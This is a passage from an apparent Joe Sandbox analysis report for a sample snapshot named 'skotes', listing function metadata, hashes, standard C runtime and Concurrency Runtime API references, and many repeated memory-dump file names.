Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: ff36448970284c3c41a9c8a7ce597ded50b9c1bd429ea9e9897ed2ced2c78334
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 13B11432D046859FEB25CF68C881BFEBBF6EF45350F14816AD895EB242D6359D01CBA0

Function 0006504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00065115
___AdjustPointer.LIBCMT ref: 00065138
___AdjustPointer.LIBCMT ref: 000651D4

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: e685061a2fcc652dca09e529b1aae1a0121f8ab537c5d1084c23bd7f784b6940
Instruction ID: da93bec44f93ce346fe936a5b669e24d31671101f7c0fa94d8e27b9b5ef19511
Opcode Fuzzy Hash: e685061a2fcc652dca09e529b1aae1a0121f8ab537c5d1084c23bd7f784b6940
Instruction Fuzzy Hash: CA51E371601A06AFEB399F54DC81BBA73F6EF16312F24452DE8418B291E731ED40CB90

Function 00064C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00064C66
TypeidsEqual.LIBVCRUNTIME ref: 00064C8B
PMDtoOffset.LIBCMT ref: 00064CA1
PMDtoOffset.LIBCMT ref: 00064D22

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 85aaba64970c9a9bcf2aa10b9a438d6cd6da3182f362b52a1abc4fb7a0231f38
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 3E519B35E046099FDF61CF68C4806EEBBF6EF16364F14449AE850A7351D732AE05CB91

Function 0005DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0005DB64

Part of subcall function 00058F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00058F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0005DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0005DBE9
Concurrency::location::_Assign.LIBCMT ref: 0005DC56

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 763d0741cb49b8d75b02b134df61dbf14249d6a13ef13cdca4bd1581db516b19
Instruction ID: e73237fe50da374c67c05b3cb1693045a24ace34846aeb19842ee648b53f4e75
Opcode Fuzzy Hash: 763d0741cb49b8d75b02b134df61dbf14249d6a13ef13cdca4bd1581db516b19
Instruction Fuzzy Hash: D541E470604215ABDF299B24C896BEFBBB5AF44711F0440ABE9069B3C3CB74AD49C791

Function 000556AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 000556F2
_InternalDeleteHelper.LIBCONCRT ref: 00055726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0005578B
SafeRWList.LIBCONCRT ref: 0005579A

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: b3b8d76900f4242d1200b428bcf7a274ffc22b6f43c92ab44a31e8a9c8d430d4
Instruction ID: d424179735e80e426a472af04eb4be7927fd431e4587da3f0d365ec72c37aeaa
Opcode Fuzzy Hash: b3b8d76900f4242d1200b428bcf7a274ffc22b6f43c92ab44a31e8a9c8d430d4
Instruction Fuzzy Hash: 31314636B011148FDF059F20DC81AAE77A6EF88712F144279ED0A9B351DF70AC098B90

Function 00052CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00052D0F

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
